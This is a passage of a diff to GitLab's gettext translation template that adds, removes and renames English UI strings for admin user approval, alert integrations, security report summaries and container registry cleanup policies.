-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
